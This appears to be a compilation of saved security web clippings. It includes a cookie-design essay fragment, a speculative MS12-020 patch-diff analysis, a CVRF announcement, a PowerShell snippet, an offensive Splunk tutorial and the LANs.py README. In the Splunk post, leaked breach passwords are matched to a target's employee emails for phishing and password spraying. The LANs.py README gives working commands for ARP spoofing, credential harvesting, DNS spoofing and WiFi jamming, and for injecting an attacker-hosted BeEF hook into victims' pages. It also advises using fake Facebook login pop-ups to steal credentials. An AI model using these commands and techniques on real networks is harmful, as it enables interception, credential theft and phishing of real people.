documents provided any guidance on how such characters should be handled when
encountered, though: rejected, transcoded to 7-bit, treated as ISO-8859-1, as
UTF-8, or perhaps treated in some other way.

The specification for cookies further aggravated this problem, cryptically
stating:

"If there is a need to place such data in the name or value, some encoding
method such as URL style %XX encoding is recommended, though no encoding is
defined or required."

There is an obvious problem with saying that you can use certain characters,
but that their meaning is undefined; the systemic neglect of this topic has
profound consequences in two common cases where user-controlled values
frequently appear in HTTP headers: `Content-Disposition` is one \(eventually
"solved" with browser-specific escaping schemes\); another is, of course, the
`Cookie` header.

As can be expected, based on such poor advice, implementators ended up with
the least sensible approach; for example, I have a two-year-old bug with
Mozilla \(418394\): the problem is that Firefox has a tendency to mangle high-
bit values in HTTP cookies, permitting cookie separators \(";"\) to suddenly
materialize in place of UTF-8 in the middle of an otherwise sanitized cookie
value; this led to more than one web application vulnerability to date.

### A session is forever

The last problem I want to mention in this post is far less pressing - but is
also an interesting testament to the shortcomings of the original design.

For some reason, presumably due to privacy concerns, the specification decided
to distinguish between session cookies, meant to be non-persistent; and
cookies with a specified expiration date, which may persist across browser
sessions, are stored on the disk, and may be subject to additional client-
enforced restrictions. On the topic of the longevity of the former class of
cookies, the RFC conveniently says:

"Each session is relatively short-lived."

Today, however, this is obviously not true, and the distinction feels
misguided: with the emergence on portable computers with suspend
functionality, and the increased shift toward web-oriented computing, users
tend to keep browsers open for weeks or months at a time; session cookies may
also be stored and then recovered across auto-updates or software crashes,
allowing them to live almost indefinitely.

When session cookies routinely persist longer than many definite-expiry ones,
and yet are used as a more secure and less privacy-invasive alternative, we
obviously have a problem. We probably need to rethink the concept - and either
ditch them altogether, or impose reasonable no-use time limits at which such
cookies are evicted from the cookie jar.

### Closing words

I find it quite captivating to see the number of subtle problems caused by
such a simple and a seemingly harmless scheme. It is also depressing how
poorly documented and fragile the design remains some 15 years later; and that
the introduction of well-intentioned security mechanisms, such as `httponly`,
only contributed to the misery. An IETF effort to document and clarify some of
the security-critical aspects of the mechanism is underway only now - but it
won't be able to fix them all.

Some of the telltale design patterns - rapid deployment of poorly specified
features, or leaving essential security considerations as "out of scope" \-
are still prevalent today in the browser world, and can be seen in the ongoing
HTML5 work. Hopefully, that's where the similarities will end.

# MS12-020 Vulnerabilities in Remote Desktop Could Allow Remote Code Execution
« Exploit Shop

**Created:**| _3/15/2012 3:11:29 PM_  
---|---  
**Updated:**| _3/15/2012 2:12:06 PM_  
**Author:**| __  
**Tags:**| _windows kernel_  
  

# MS12-020 Vulnerabilities in Remote Desktop Could Allow Remote Code Execution

**Posted:** 2012/03/13 | **Author:** lifeasageek | **Filed under:** Uncategorized |**8** Comments »
MS12-020 Vulnerabilities in Remote Desktop Could Allow Remote Code Execution

Update : more diffing points. Well… you’re right. I’m still guessing.

NOTE : I haven’t confirmed this vulnerability yet, so basically this is my
rough guess on this vulnerability. MS12-020 touched many different files and I
don’t think I’ll take a look all of them. Hope we get helpful feed-backs on
this issue from you. There’s also other analysis on MS12-020 –
http://blog.binaryninjas.org/?p=58

Related CVE : Remote Desktop Protocol Vulnerability – CVE-2012-0002  
Terminal Server Denial of Service Vulnerability – CVE-2012-0152  
\(This post would be about CVE-2012-0002, but need to be confirmed\)

Diffed Binary : rdpcore.dll 6.1.7601.17514 \(win7sp1\_rtm.101119-1850\)  
rdpcore.dll 6.1.7601.17779 \(win7sp1\_gdr.120216-1503\)

<img src='img/Temp2_5044.png' width='590' height='352' alt='alt' />

Look at CRDPWDUMXStack:OnMcsCPI\(\). This function decodes and saves the user
data from the GCCUserData structure. When you make the first branch condition
fail, you can directly call RDPWDUMXGccFreeUserData\(\) function, which is a
simple wrapper function of delete\(\). It is clear that \[ebp+var\_10\] is
uninitialized before the patch. How it is patched ? Just look at where a
series of “stosd” instructions are.\)

<img src='img/Temp2_5047.png' width='590' height='345' alt='alt' />

rdpwd\!HandleAttachUserReq\(\). This one is easy to trigger and looks very
interesting, but it could be just a memory leak patch.

<img src='img/Temp2_5048.png' width='590' height='354' alt='alt' />  
rdpwd\!MCSChannelJoinRequest\(\). There was some problems in handling channel
id. Note that each channel seems to have a corresponding entry in the link
list.

<img src='img/Temp2_5050.png' width='590' height='356' alt='alt' />  
tdtcp.sys\!DeviceCancelIo\(\). See different function call has been made,
TdiDisconnect\(\) and TdLocalDisconnect\(\). TdLocalDisconnect\(\) is actually
a wrapper function of TdiDisconnect\(\) while doing DEREF like job. Do you
remember MS11-083 ? MS11-083′s vulnerability and patch was pretty similar to
this.

<img src='img/Temp2_5045.png' width='590' height='594' alt='alt' />

rdpwd\!nm\_Disconnect\(\). After invoking the destructing function, it clears
LSB-bit of the variable. See? Before actually invoking the destructing
function, this LSB-bit variable is checked. Yeah, it should be double free
\(or use-after-free\).  
<img src='img/Temp2_5046.png' width='590' height='355' alt='alt' />

rdpwd\!NMAbortConnect\(\) has a similar pattern patch. Note that these two
routines are closely linked together. That is, if you can hit
NMAbortConnect\(\), it is highly likely that you can also hit
nm\_Disconnect\(\). In other words, if you can invoke these two routines, at
least you will see crash.

<img src='img/Temp2_5049.png' width='590' height='350' alt='alt' />

# The Common Vulnerability Reporting Framework \(CVRF\) | ICASI
**Created:**| _5/18/2011 10:59:38 AM_  
---|---  
**Updated:**| _5/18/2011 10:59:38 AM_  
**Author:**| __  
**Tags:**| _report vulnerability_  
  

# The Common Vulnerability Reporting Framework \(CVRF\) v1.0

Mike Schiffman, Cisco Systems, Inc., mschiffm@cisco.com

<img src='img/img-wp_download.gif' />

To date, a major gap exists in vulnerability standardization: there is no
standard framework for the creation of vulnerability report documentation.
Although the computer security community has made significant progress in
several other areas, including categorizing and ranking the severity of
vulnerabilities in information systems with the widespread adoption of the
Common Vulnerabilities and Exposures \(CVE\) \[1\] dictionary and the Common
Vulnerability Scoring System \(CVSS\) \[2\], this lack of standardization is
evident in every vulnerability report, best practice document, or security
bulletin released by any vendor or coordinator. In this white paper, a common
and consistent framework is proposed for exchanging not just vulnerability
information, but any security-related documentation. Originally derived from
the Internet Engineering Task Force \(IETF\) draft Incident Object Description
Exchange Format \(IODEF\) \[3\], The Common Vulnerability Reporting Framework
\(CVRF\) is an XML-based language that will enable different stakeholders
across different organizations to share critical security-related information
in a single format, speeding up information exchange and digestion.

**1\. Introduction and Impetus**  
---  
1.1 Problem Statement  
1.2 Vulnerability Report Differences  
1.2.1 Multiple Formats Mean More Complexity  
1.2.2 Organizational Compatibility Issues  
1.2.3 Stunted Extensibility  
**2\. Proposed Solution**  
2.1 From Standardization Comes Cohesion  
2.2 CVRF Roles  
2.2.1 Document Producer  
2.2.2 Document Consumer  
2.3 Approach  
**Appendix A: CVRF FAQ**  
**Appendix B: References**  
**Appendix C: Modification Histories**  
Main Document  
FAQ  
CVRF Dictionary  
MindMap  
**Schemas**  
**CVRF Dictionary**  
**MindMap**

# PowerShell is motivated by functional programming

**Created:**| _12/7/2012 12:27:42 PM_  
---|---  
**Updated:**| _12/7/2012 12:27:42 PM_  
**Author:**| __  
**Tags:**| _powershell programming_  
  
  

A line out of Tomas Petricek upcoming book, Real World Functional Programming.

Luke Hoban came and presented some great F\# ideas at Lab49. One idea is
recognizing patterns in code where the plumbing can be lifted so a function
can be passed to get the job done. Here is some simple plumbing. You want to
process a list of numbers and return the largest.

### Get-Maximum

This approach let’s you stash the plumbing for processing the list and the
setting and storing of the limit.

[code]

    param($numbers, [scriptblock]$sb)
    
    $numbers |
     ForEach {$max = [int]::MinValue} {$max = & $sb $_ $max} {$max}
[/code]

### Functions

Now write some functions, scriptblocks in PowerShell, that can be passed to
Get-Maximum to determine the largest value.

**$std** compares the current number to _$max_ and returns the correct value.

[code]

    $std = {param($n, $max) if($n -gt $max) {$n} else {$max}}
[/code]

**$pct** takes the current number, adds 10%, compares and returns the largest.

[code]

    $pct = {param($n, $max) if($n*(1+.1) -gt $max) {$n} else {$max}}
[/code]

### Ways the functions can be used

This call returns 5.

[code]

    .\Get-Maximum (1,1,3,0,2,-1,5) $std
[/code]

Here you pass an array of functions to the a function to get a maximum number
in different ways. This approach let’s you concentrate on the business value.
Calculating a result.

[code]

    $pct, $std | ForEach {.\Get-Maximum (.87,.80) $_}
[/code]

[code]

    Produces:
[/code]

[code]

    0.8 
[/code]

[code]

    0.87
[/code]

Writing and testing of the algorithms can be done and saved. Then parameterize
them in different ways.

.

  

# Creating User-Friendly Exploits

**Created:**| _4/15/2010 3:59:43 PM_  
---|---  
**Updated:**| _4/15/2010 4:00:15 PM_  
**Author:**| __  
**Tags:**| _Debugging Exploit conference-material awesome_  
  
<img src='img/Temp2_1645' />

# OffensiveSplunk vs. Grep

**Created:**| _5/9/2018 11:53:48 AM_  
---|---  
**Updated:**| _5/9/2018 11:53:48 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

TLDR; Using Splunk for Offensive security data analysis has advantages over
the traditional Grep when trifling through and analysing data.

# Why Splunk and not ELK?

ELK is a fantastic open source project, and made even easier thanks to the
HELK project by Cyb3rward0g. In fact, I actually tried ELK first before I went
over to Splunk. When I used ELK, I realised that I had to create a `.config`
file which specifies the location of my data, before it would be ingested.
This made it difficult for me as it meant that for every small data set I
would still need to tell it what the headers and data types are. Splunk on the
other hand, I managed to upload data by simply clicking on the Web UI and
uploading a CSV file.

I know that many Offensive security shops are using ELK for logging and
analytics. More on this topic in another post. ELK was just not fit for
purpose in a quick PoC environment where I wanted to evaluate what sort of
resources were required to spin up an Offensive Analytics System and what
benefits could be obtained from doing so. In this post we will focus on using
Splunk as a log analysis system to visualise and search data, quickly.

# Splunk Installation

Quite simply really, go to Splunk's website and download the MSI for Windows
or relevant packages for your OS of choice. I used a machine with 20GB of RAM
and 300GB SSD for the installation. Worked fine, you can probably do with less
as Splunk does not seem very RAM heavy.

I'd recommend getting a developers license, which gives you 6 months to index
any data you want into Splunk. The process of _Indexing_ is simply importing
data into the database and optimise it for searching. Just to get the
technical search jargon out of the way.

# Data Ingestion

Yeah, it's really easy, you can even ingest .json.gz files directly by
uploading them. As Project Sonar was too big, I used the command `splunk add
oneshot sonar.json.gz` to get it into Splunk. It took a while to get the data
in, but once it's done, searches are blazing fast.  
If your data is smaller than 500MB, you can even use the Web UI:  
<img src='img/Temp2_5723.png' width='796' height='646'
alt='chrome_2018-05-06_23-11-02' />  
<img src='img/Temp2_5731.png' width='796' height='706'
alt='chrome_2018-05-06_23-11-34' />

# Project Sonar

To demonstrate how we might use Project Sonar's Forward DNS data, I decided to
explore Splunk's capabilities in aggregating and understanding the data.

## Content Delivery Networks

Finding domain fronts that work in CloudFront.  
Regular grep:

[code]

    :/$ time zcat fdns_a.json.gz | grep '\.cloudfront\.net' | tee -a cloudfront.net.txt
    
    real    10m25.282s
    user    9m16.984s
    sys     1m23.031s
    
[/code]

Splunk search:

[code]

    value="*.cloudfront.net"
    
    47.63 seconds
    
[/code]

It takes `13.13` times longer to search using grep compared to within Splunk.

## Domain Search

Obtain all subdomains for a particular domain:  
<img src='img/Temp2_5718.png' width='796' height='269'
alt='chrome_2018-05-06_22-59-25' />  
This was almost instant. Which would've also taken 10 minutes with a usual
grep. However what's interesting is we can utilise Splunk's analytical
capabilities to perform mappings to find out information such as "how many
domains share the same host?":  
<img src='img/Temp2_5729.png' width='796' height='210'
alt='chrome_2018-05-06_23-02-50' />  
to get:  
<img src='img/Temp2_5730.png' width='796' height='577'
alt='chrome_2018-05-06_23-03-46' />  
Here we can see that the one particular server is pointed to by all of the
hostnames on the right.

We can also map the physical locations of the servers, roughly using:  
`name="*.uber.com" | stats values(name) by value | iplocation value | geostats count by City`  
to get:  
<img src='img/Temp2_5732.png' width='796' height='580'
alt='chrome_2018-05-06_23-06-23' />  
Sure, probably not much use, but quickly lets you see where the target's
servers are located in the world.

If you are only allowed to attack servers within a particular country for the
target organisation, then you can use Splunk to filter a list down too using:  
`name="*.uber.com" | stats values(name) by value | iplocation value | search Country="United States"`  
<img src='img/Temp2_5713.png' width='796' height='577'
alt='chrome_2018-05-06_23-08-09' />  
You may even choose to cut it down to a particular state if necessary.

## Get a list of all subdomains

You can run the following search to get a list of all the subdomains. I didn't
bother waiting a long period of time to parse through 1.4 billion results, so
I just did it for one domain:

[code]

    index=main [search name="*.uber.com"] 
    | table name
    | eval url=$name$ | lookup ut_parse_extended_lookup url
    
[/code]

<img src='img/Temp2_5727.png' width='796' height='385'
alt='chrome_2018-05-07_15-22-30' />

or subdomains specifically with:

[code]

    index=main [search name="*.uber.com"] 
    | table name
    | eval url=$name$ | lookup ut_parse_extended_lookup url 
    | table ut_subdomain 
    | dedup ut_subdomain
    
[/code]

<img src='img/Temp2_5719.png' width='796' height='642'
alt='chrome_2018-05-07_15-23-47' />  
This might be useful if you are trying to resolve the same subdomains against
all of their owned domains to try and discover more subdomains.

## DomLink domains-> Give me all subdomains

Combining my tool, DomLink released here, we can take the results from a
search and ask Splunk to give us a list of all of the subdomains belonging to
the target. Quite easily.

Begin by running the tool, and directing the output to a text file using the
command line flags:  
<img src='img/Temp2_5733.png' width='796' height='1260'
alt='ConEmu64_2018-05-07_15-30-50' />  
Now that we have a list of domains, in the output file, we can take this and
create a new file with a header of `name` and add `*.` to the front of the
name using a simple regex replace:  
<img src='img/Temp2_5709.png' width='796' height='211'
alt='sublime_text_2018-05-07_15-32-51' />  
Now the file should look somewhat like this:  
<img src='img/Temp2_5705.png' width='796' height='1677'
alt='sublime_text_2018-05-07_15-33-14' />  
Place this file and name it Book1.csv \(well I did\) into `C:\Program
Files\Splunk\etc\system\lookups`. Then make a search for:

[code]

    index=main [inputlookup Book1.csv] | table name
    
[/code]

Which will yield the following results:  
<img src='img/Temp2_5725.png' width='796' height='1034'
alt='chrome_2018-05-07_15-41-38' />  
You can then export these results and put it into whatever tool you want to
use.

# Password Dumps

I took the LeakBase BreachCompilation data and used Outflank's Password Dumps
In Elk guide here to get my data into a reasonable format before importing it
into Splunk. Running the script does a great job at getting the dump into a
space separated file format:  
<img src='img/Temp2_5726.png' width='796' height='282'
alt='vmware_2018-05-07_19-48-41' />  
I modified it to output to disk instead of push directly into ELK/Splunk.  
At this point, we're pretty much good to go. Splunk does not take space
separated files so I had to modify the script Outflank provide to make it into
a CSV format ready for importing.  
Do a `splunk add oneshot input.csv -index passwords -sourcetype csv -hostname
passwords -auth "admin:changeme"` and we're good to go\!

## Let's see what the most used passwords are\!

[code]

    index=passwords 
    |  stats count by password 
    |  sort 100 -count
    
[/code]

<img src='img/Temp2_5707.png' width='796' height='586'
alt='chrome_2018-05-08_17-57-40' />  
<img src='img/Temp2_5734.png' width='796' height='495'
alt='chrome_2018-05-08_17-58-29' />  
If you're interested in base words, you can use fuzzy matching \(match on
`password`:

[code]

    index=passwords
    | table password 
    | fuzzy wordlist="password" type="simple" compare_field="password" output_prefix="fuzz"
    | where fuzzmax_match_ratio >= 67
    | stats count by password
    | sort 100 -count
    
[/code]

<img src='img/Temp2_5711.png' width='796' height='539'
alt='chrome_2018-05-08_18-11-32' />  
Top passwords used by `@facebook.com` emails:  
<img src='img/Temp2_5704.png' width='796' height='481'
alt='chrome_2018-05-08_18-30-19' />  
Map it out as usual:  
<img src='img/Temp2_5710.png' width='796' height='510'
alt='chrome_2018-05-08_18-32-47' />

The more interesting piece is the ability to easily cross check passwords with
employee OSINT e-mails. Sure you can do this in grep too.

## DomLink domains -> Give me all passwords for all domains

After running DomLink \(as mentioned above in the post\), we can go ahead and
use it as an `inputlookup`. Instead, we will use `*@domain.com` instead of
`*.domain.com`, and set a header field of `email` as shown below:  
<img src='img/Temp2_5715.png' width='796' height='985'
alt='notepad_2018-05-08_19-14-02' />  
Run a query:

[code]

    index=passwords [inputlookup uber.csv] 
    |  table email, password
    
[/code]

Then I get a fantastic output in table format, that I can even export as CSV
if I wanted:  
<img src='img/Temp2_5717.png' width='796' height='590'
alt='ApplicationFrameHost_2018-05-08_19-32-13-1' />  
That's pretty cool, at least I think so.

# Employee OSINT

Profiling an organisation's employees is important when performing targeted
phishing attacks or password spraying across external infrastructure where you
need a list of usernames to begin. LinkedInt was developed for this purpose. I
wanted a tool that could work reliably and give me a list of employees for a
target organisation. This isn't so useful for just one or two particular data
sets for several companies. It would probably be more useful if you were to
automate and gather employee data for Alexa Top 1 million websites and Fortune
500 companies for example. Sure, this could all be automated.

For the sake of this section, I'm going to demonstrate importing data from one
unreleased \(will probably release at HITB GSEC\) tool to profile employees.
This would also work with LinkedInt. Simply import the data as a CSV file as
previously shown in the above sections.  
<img src='img/Temp2_5708.png' width='796' height='628'
alt='chrome_2018-05-07_21-33-40' />  
We can use Splunk to search for employees with a specific surname, name, or
location:  
<img src='img/Temp2_5712.png' width='796' height='700'
alt='chrome_2018-05-07_21-34-48' />  
We can even go ahead and search for job positions, and see how many people are
in a certain role at the company:  
<img src='img/Temp2_5722.png' width='796' height='360'
alt='chrome_2018-05-07_21-48-26' />  
Here we can see that the majority of people are delivery personnel as this
company is the equivalent of Deliveroo in China.  
Heck, with a bit of magic you can even graph it up to get a view of the
distribution of roles:  
<img src='img/Temp2_5716.png' width='796' height='402'
alt='chrome_2018-05-07_21-53-19' />  
<img src='img/Temp2_5721.png' width='796' height='403'
alt='chrome_2018-05-07_21-55-42' />  
Given that I only had data for around 5000 employees, this basically gives a
decent idea of the distribution of personnel at the target organisation before
you go ahead and perform any social engineering to understand the following
types of questions:

  * Should I social engineer as an employee of the organisation?
  * What title should I have?
  * What's my role?
  * Where am I located? \(yes, if there's a high distribution of X role at Y location\)
  * What percentage of people are in this role?

In some companies, if there's a large percentage \(almost 10%\) who are
delivery men, they probably don't have access or the level of trust from the
general population of employees. So making these sort of choices matters.

Last thing, I wonder how accurate my OSINT vs. actual distributions of
employees are?  
<img src='img/Temp2_5714.png' width='796' height='520'
alt='chrome_2018-05-07_22-06-49' />

## Combining Employee OSINT with Password Dumps

It's trivial to combine Employee OSINT'd emails with password dumps to look
for passwords:

[code]

    index=passwords [search index=eleme 
    | eval email=$Email$ 
    | table email]
    
[/code]

<img src='img/Temp2_5724.png' width='796' height='430'
alt='chrome_2018-05-09_01-38-37' />  
Pretty nice, at least I think so. Sure, you can do this with grep too, but
this is an alternative way to easily import a new CSV file and almost
instantly have a matched up password list that you can export as a CSV or
table.

# Nmap Scans

<img src='img/Temp2_5735.png' width='796' height='1280'
alt='ConEmu64_2018-05-07_20-14-12' />  
Upload the `.gnmap` file to Splunk, set timestamps to none.  
You can then run the following example query to begin formatting the data and
searching it in a nice manner within Splunk:  
1

[code]

    source="uber.gnmap" host="uber" sourcetype="Uber" Host Ports | rex field=_raw max_match=50 "Host:\s(?<dest_ip>\S+)" 
    | rex field=_raw max_match=50 "[Ports:|,]\s?(?<port>\d+)\/+(?<status>\w+)\/+(?<proto>\w+)\/+(?<desc>\w+|\/)"
    | rex field=_raw "OS:\s(?<os>\w+)"
    | eval os = if(isnull(os),"unknown",os)
    | eval mv=mvzip(port, status) 
    | eval mv=mvzip(mv, proto) 
    | eval mv=mvzip(mv, desc) 
    | mvexpand mv 
    | makemv mv delim="," 
    | eval ports=mvindex(mv, 0) 
    | eval status=mvindex(mv, 1)
    | eval proto=mvindex(mv, 2)
    | eval desc=if(mvindex(mv, 3) == "/","null",mvindex(mv,3))
    | table dest_ip ports status proto desc os
    | sort dest_ip
    
[/code]

<img src='img/Temp2_5720.png' width='796' height='392'
alt='chrome_2018-05-07_20-37-20' />  
This would work pretty well for sorting out scans if you have a large set of
scans to parse through. For example, you can expand the query to map all
server locations with TCP port 443 open using:

[code]

    source="uber.gnmap" host="uber" sourcetype="Uber" Host Ports 
    | rex field=_raw max_match=50 "Host:\s(?<dest_ip>\S+)" 
    | rex field=_raw max_match=50 "[Ports:|,]\s?(?<port>\d+)\/+(?<status>\w+)\/+(?<proto>\w+)\/+(?<desc>\w+|\/)"
    | rex field=_raw "OS:\s(?<os>\w+)"
    | eval os = if(isnull(os),"unknown",os)
    | eval mv=mvzip(port, status) 
    | eval mv=mvzip(mv, proto) 
    | eval mv=mvzip(mv, desc) 
    | mvexpand mv 
    | makemv mv delim="," 
    | eval ports=mvindex(mv, 0) 
    | eval status=mvindex(mv, 1)
    | eval proto=mvindex(mv, 2)
    | eval desc=if(mvindex(mv, 3) == "/","null",mvindex(mv,3))
    | table dest_ip ports status proto desc os
    | sort dest_ip
    | table dest_ip,ports 
    | search ports=443 
    | iplocation dest_ip 
    | geostats count by City
    
[/code]

<img src='img/Temp2_5706.png' width='796' height='549'
alt='chrome_2018-05-07_20-42-17' />

\[1\] Reference: How to parse Nmap in Splunk

# Conclusion

Data manipulation and analytics plays a relevant role in Offensive Cyber
Security Operations. Much like Password Cracking being of importance and hence
why we purchase 32-GPU cracking rigs, this is yet another good to have system
that could help to make your operations more streamlined and efficient.

Many people say that the GZIP'd comparison is not fair, however, _agn0r_ sheds
some light into how Splunk actually operates using a Lexicon structure.  
Quote from _ayn0r_ on Reddit:  
<img src='img/Temp2_5728.png' width='796' height='356'
alt='chrome_2018-05-08_23-02-55' />

  

# OpenRCE radare 2.0.6

**Created:**| _11/6/2010 5:40:46 PM_  
---|---  
**Updated:**| _11/7/2010 10:24:20 AM_  
**Author:**| __  
**Tags:**| _security tools reversing_  
  
**radare2 0.6 released****Author:** trufae <img src='img/email_icon.gif' />|
**\# Views:** 487  
---|---  
  
Nibble and me are pleased to announce a new release of radare2 0.6.  
  
It's about 3 months from the last release \(0.5\) and the changelog got about
+200 commits  
fixing and adding stuff.. We have written down a short list of the most
important changes:  
  
  http://radare.org/get/changelog2-0.6-short  
  
The source code can be found here:  
  
  http://radare.org/get/radare2-0.6.tar.gz  
  
valaswig and r2-swig bindings have been upgraded too:  
  
  http://radare.org/get/valaswig-0.3.tar.gz  
  http://radare.org/get/radare2-swig-0.6.tar.gz  
  
Now is time for the Arch/Debian/Gentoo/w32 packagers\!  
  
I have uploaded a build of r2 on windows:  
  
  http://radare.org/get/w32/radare2-w32-0.6.zip  
  
And a beta build of the python2.7 bindings for windows:  
  
  http://radare.org/get/beta/radare2-swig-w32-0.6.zip

# DanMcInerney/LANs.py

**Created:**| _9/4/2017 9:14:00 AM_  
---|---  
**Updated:**| _9/4/2017 9:14:00 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

If you have any issues running this script I'd suggest checking out MITMf
which does all the same things + more. Eventually this script needs to be
rewritten with net-creds as the engine.

# LANs.py

  * Automatically find the most active WLAN users then spy on one of them and/or inject arbitrary HTML/JS into pages they visit.
    * Individually poisons the ARP tables of the target box, the router and the DNS server if necessary. Does not poison anyone else on the network. Displays all most the interesting bits of their traffic and can inject custom html into pages they visit. Cleans up after itself.
  * Also can be used to continuously jam nearby WiFi networks. This has an approximate range of a 1 block radius, but this can vary based off of the strength of your WiFi card. This can be fine-tuned to allow jamming of everyone or even just one client. Cannot jam WiFi and spy simultaneously.

Prerequisites: Linux, python-scapy, python-nfqueue \(nfqueue-bindings 0.4-3\),
aircrack-ng, python-twisted, BeEF \(optional\), nmap, nbtscan, tcpdump, and a
wireless card capable of promiscuous mode if you don't know the IP of your
target.

Tested on Kali. In the following examples 192.168.0.5 will be the attacking
machine and 192.168.0.10 will be the victim.

All options:

[code]

    Python LANs.py  [-h] [-b BEEF] [-c CODE] [-u] [-ip IPADDRESS] [-vmac VICTIMMAC]
                    [-d] [-v] [-dns DNSSPOOF] [-a] [-set] [-p] [-na] [-n]
                    [-i INTERFACE] [-r REDIRECTTO] [-rip ROUTERIP]
                    [-rmac ROUTERMAC] [-pcap PCAP] [-s SKIP] [-ch CHANNEL]
                    [-m MAXIMUM] [-no] [-t TIMEINTERVAL] [--packets PACKETS]
                    [--directedonly] [--accesspoint ACCESSPOINT]
[/code]

## \#Usage

#### Common usage:

[code]

    python LANs.py -u -p
[/code]

Active target identification which ARP spoofs the chosen target and outputs
all the interesting non-HTTPS data they send or request. There's no -ip option
so this will ARP scan the network, compare it to a live running promiscuous
capture, and list all the clients on the network. Attempts to tag the targets
with a Windows netbios name and prints how many data packets they are
sending/receiving. The ability to capture data packets they send is very
dependent on physical proximity and the power of your network card. Ctrl-C
when you're ready and pick your target which it will then ARP spoof.

Supports interception and harvesting of data from the following protocols:
HTTP, FTP, IMAP, POP3, IRC. Will print the first 135 characters of URLs
visited and ignore URLs ending in .jpg, .jpeg, .gif, .css, .ico, .js, .svg,
and .woff. Will also print all protocol username/passwords entered, searches
made on any site, emails sent/received, and IRC messages sent/received.
Screenshot: http://i.imgur.com/kQofTYP.png

Running LANs.py without argument will give you the list of active targets and
upon selecting one, it will act as a simple ARP spoofer.

### Another common usage:

[code]

    python LANs.py -u -p -d -ip 192.168.0.10
[/code]

-d: open an xterm with driftnet to see all images they view
-ip: target this IP address and skip the active targeting at the beginning
#### HTML injection:

[code]

    python LANs.py -b http://192.168.0.5:3000/hook.js
[/code]

Inject a BeEF hook URL \(http://beefproject.com/, tutorial:
http://resources.infosecinstitute.com/beef-part-1/\) into pages the victim
visits. This just wraps the argument in ` <script> ` tags so you can really
enter any location of a javascript file. Attempts to insert it after the first
tag found in the page's HTML.

[code]

    python LANs.py -c '<title>Owned.</title>'
[/code]

Inject arbitrary HTML into pages the victim visits. First tries to inject it
after the first ` <head> ` tag and failing that, injects prior to the first `
</head> ` tag. This example will change the page title to 'Owned.'

#### Read from pcap:

[code]

    python LANs.py -pcap libpcapfilename -ip 192.168.0.10
[/code]

To read from a pcap file you must include the target's IP address with the -ip
option. It must also be in libpcap form which is the most common anyway. One
advantage of reading from a pcap file is that you do not need to be root to
execute the script.

#### DNS spoofing

[code]

    python LANs.py -a -r 80.87.128.67
[/code]

[code]

    python LANs.py -dns eff.org
[/code]

Example 1: The -a option will spoof every single DNS request the victim makes
and when used in conjunction with -r it will redirect them to -r's argument
address. The victim will be redirected to stallman.org \(80.87.128.67\) no
matter what they type in the address bar.

Example 2: This will spoof the domain eff.org and subdomains of eff.org. When
there is no -r argument present with the -a or -dns arguments the script will
default to sending the victim to the attacker's IP address. If the victim
tries to go to eff.org they will be redirected to the attacker's IP.

#### Most aggressive usage:

[code]

    python LANs.py -v -d -p -n -na -set -a -r 80.87.128.67 -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10
[/code]

#### Jam all WiFi networks:

[code]

    python LANs.py --jam
[/code]

#### Jam just one access point \(router\)

[code]

    python Lans.py --jam --accesspoint 01:MA:C0:AD:DY
[/code]

### All options:

* * *
Normal Usage:

  * -b BEEF\_HOOK\_URL: copy the BeEF hook URL to inject it into every page the victim visits, eg: -b http://192.168.1.10:3000/hook.js
  * -c 'HTML CODE': inject arbitrary HTML code into pages the victim visits; include the quotes when selecting HTML to inject
  * -d: open an xterm with driftnet to see all images they view
  * -dns DOMAIN: spoof the DNS of DOMAIN. e.g. -dns facebook.com will DNS spoof every DNS request to facebook.com or subdomain.facebook.com
  * -a: Spoof every DNS response the victim makes, effectively creating a captive portal page; -r option can be used with this
  * -r IPADDRESS: only to be used with the -dns DOMAIN option; redirect the user to this IPADDRESS when they visit DOMAIN
  * -u: prints URLs visited; truncates at 150 characters and filters image/css/js/woff/svg urls since they spam the output and are uninteresting
  * -i INTERFACE: specify interface; default is first interface in ` ip route `, eg: -i wlan0
  * -ip: target this IP address
  * -n: performs a quick nmap scan of the target
  * -na: performs an aggressive nmap scan in the background and outputs to \[victim IP address\].nmap.txt
  * -p: print username/passwords for FTP/IMAP/POP/IRC/HTTP, HTTP POSTs made, all searches made, incoming/outgoing emails, and IRC messages sent/received
  * -pcap PCAP\_FILE: parse through all the packets in a pcap file; requires the -ip \[target's IP address\] argument
  * -rmac ROUTER\_MAC: enter router MAC here if you're having trouble getting the script to automatically fetch it
  * -rip ROUTER\_IP: enter router IP here if you're having trouble getting the script to automatically fetch it
  * -v: show verbose URLs which do not truncate at 150 characters like -u
  * \--jam: jam all or some 2.4GHz wireless access points and clients in range; use arguments below in conjunction with this argument if necessary

Wifi Jamming:

  * -s MAC\_Address\_to\_skip: Specify a MAC address to skip deauthing. Example: -s 00:11:BB:33:44:AA
  * -ch CHANNEL: Limit wifijammer to single channel
  * -m MAXIMUM: Maximum number of clients to deauth. Use if moving around so as to prevent deauthing client/AP pairs outside of current range.
  * -no: Do not clear the deauth list when the maximum \(-m\) number of client/AP combos is reached. Must be used in conjunction with -m. Example: -m 10 -n
  * -t TIME\_INTERVAL: Time between each deauth packet. Default is maximum. If you see scapy errors like 'no buffer space' try: -t .00001
  * \--packets NUMBER: Number of packets to send in each deauth burst. Default is 1 packet.
  * \--directedonly: Don't send deauth packets to the broadcast address of APs and only send to client/AP pairs
  * \--accesspoint ROUTER\_MAC: Enter the MAC address of a specific AP to target.

### Clean up

Upon receiving a Ctrl-C:

-Turns off IP forwarding
-Flushes iptables firewall
-Individually restores the router and victim's ARP tables
## Technical details

This script uses a python nfqueue-bindings queue wrapped in a Twisted
IReadDescriptor to feed packets to callback functions. nfqueue-bindings is
used to drop and forward certain packets. Python's scapy library does the work
to parse and inject packets.

Injecting code undetected is a dicey game, if a minor thing goes wrong or the
server the victim is requesting data from performs things in unique or rare
way then the user won't be able to open the page they're trying to view and
they'll know something's up. This script is designed to forward packets if
anything fails so during usage you may see lots of "\[\!\] Injected packet for
www.domain.com" but only see one or two domains on the BEeF panel that the
browser is hooked on. This is OK. If they don't get hooked on the first page
just wait for them to browse a few other pages. The goal is to be
unnoticeable. My favorite BEeF tools are in Commands > Social Engineering. Do
things like create an official looking Facebook pop up saying the user's
authentication expired and to re-enter their credentials.

* * *
  * danmcinerney.org
  * <img src='img/68747470733a2f2f67612d626561636f6e2e61707073706f742e636f6d2f55412d34363631333330342d322f4c414e732e70792f524541444d452e6d64' width='81' height='18' alt='Analytics' />

  

# GDSSecurity/Docker-Secure-Deployment-Guidelines · GitHub

